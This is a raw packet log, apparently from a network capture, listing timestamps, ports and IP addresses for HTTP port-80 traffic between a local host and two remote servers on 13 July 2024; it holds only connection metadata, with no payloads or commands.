Jul 13, 2024 07:07:06.195558071 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195564985 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195586920 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195586920 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195614100 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195616007 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195616007 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195631981 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195636034 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195648909 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195653915 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195672035 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195691109 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.195691109 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195705891 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.195723057 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.195739985 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.195745945 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.195745945 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.195775032 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.195775032 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.195815086 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.195831060 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.195847988 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.195863962 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195871115 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.195871115 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.195903063 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195909977 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195919037 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195934057 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195941925 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.195950031 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195950031 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195965052 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.195975065 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195975065 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.195981979 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.196002007 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.196002007 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.196027994 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.196053982 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.196057081 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.196069956 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.196079016 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.196105003 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.196105957 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.196149111 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.196165085 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.196180105 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.196194887 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.196203947 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.196203947 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.196230888 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.196232080 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.197400093 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.197417021 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.197432995 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.197463036 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.197498083 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.197554111 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.197570086 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.197583914 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.197599888 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.197608948 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.197614908 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.197638035 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.197638035 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.197670937 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.198482037 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.198533058 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.198542118 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.198559046 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.198623896 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.198724985 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.198741913 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.198756933 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.198771000 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.198796988 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.198796988 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.198832035 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.237735987 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.237770081 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.237787008 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.237802029 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.237818003 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.237834930 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.237838030 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.237854004 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.237925053 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.237925053 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.237925053 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.242691040 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.242746115 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.242798090 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.242825031 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.242831945 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.242866993 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.242883921 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.242883921 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.242902040 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.242912054 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.242937088 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.242949009 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.242971897 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.242984056 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.243016958 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.280814886 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.280885935 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.280921936 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.280930996 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.280956984 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.280985117 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.280992031 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281013966 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281044960 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281079054 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281084061 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281084061 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281120062 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281155109 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281160116 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281160116 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281204939 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281244993 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281244993 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281256914 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281275034 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281291008 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281306028 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281308889 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281308889 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281322002 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281338930 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281338930 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281339884 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281356096 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281373024 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281388044 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281388044 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281388044 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281395912 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281404018 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281409979 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281416893 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281424046 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281430006 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281438112 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281445026 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281452894 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281506062 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281586885 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281601906 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281616926 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281635046 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281645060 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281645060 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281651020 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281666040 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281678915 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281678915 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281681061 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281697989 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281703949 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281703949 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281713963 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281721115 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281744957 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281744957 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281759024 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281771898 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281826019 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281826019 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281929016 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281944036 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281959057 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281975031 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.281980991 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281980991 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.281990051 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282006025 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282008886 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282008886 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282021999 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282038927 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282044888 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282044888 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282054901 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282074928 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282077074 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282077074 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282109976 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282109976 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282200098 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282215118 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282229900 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282252073 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282253981 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282269001 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282285929 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282294035 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282294035 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282294035 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282300949 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282315969 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282320976 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282331944 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282347918 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282355070 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282355070 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282362938 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282388926 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282388926 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282478094 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282635927 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282650948 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282665968 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282680988 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282684088 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282684088 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282696962 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282716990 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282732964 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282742023 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282742023 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282757044 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282768965 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282768965 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282772064 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282785892 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282804966 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282819986 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282826900 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282826900 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282836914 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282852888 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282859087 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282859087 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282871008 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282886982 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282886982 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282886982 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282902002 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282917976 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282919884 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282919884 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282933950 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282948971 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282952070 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282952070 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282964945 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.282987118 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.282987118 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.283123970 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.283268929 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.283284903 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.283319950 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.283395052 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.283410072 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.283425093 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.283432007 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.283432007 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.283441067 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.283449888 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.283457041 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.283473015 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.283483028 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.283483028 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.283488989 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.283504009 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.283504009 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.283561945 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285145044 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285316944 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285331011 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285348892 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285353899 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285353899 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285363913 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285378933 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285382032 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285382032 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285393953 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285410881 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.285414934 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285414934 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285425901 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.285440922 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.285454035 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285461903 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.285463095 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.285480022 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285489082 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285489082 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285497904 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.285504103 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285517931 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285533905 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285550117 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285559893 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285559893 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285566092 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285582066 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285593033 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285593033 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285597086 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.285612106 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285628080 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285628080 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.285826921 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.285841942 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.285856962 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.285867929 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.285873890 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.285881996 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.285892010 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.285892010 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.285908937 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.285919905 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.285926104 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.285938025 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.285943031 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.285949945 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.285960913 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.285964966 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.285978079 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.285981894 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.285995007 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.285995960 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286012888 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286027908 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286103010 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286118031 CEST	80	58982	77.91.77.81	192.168.2.5
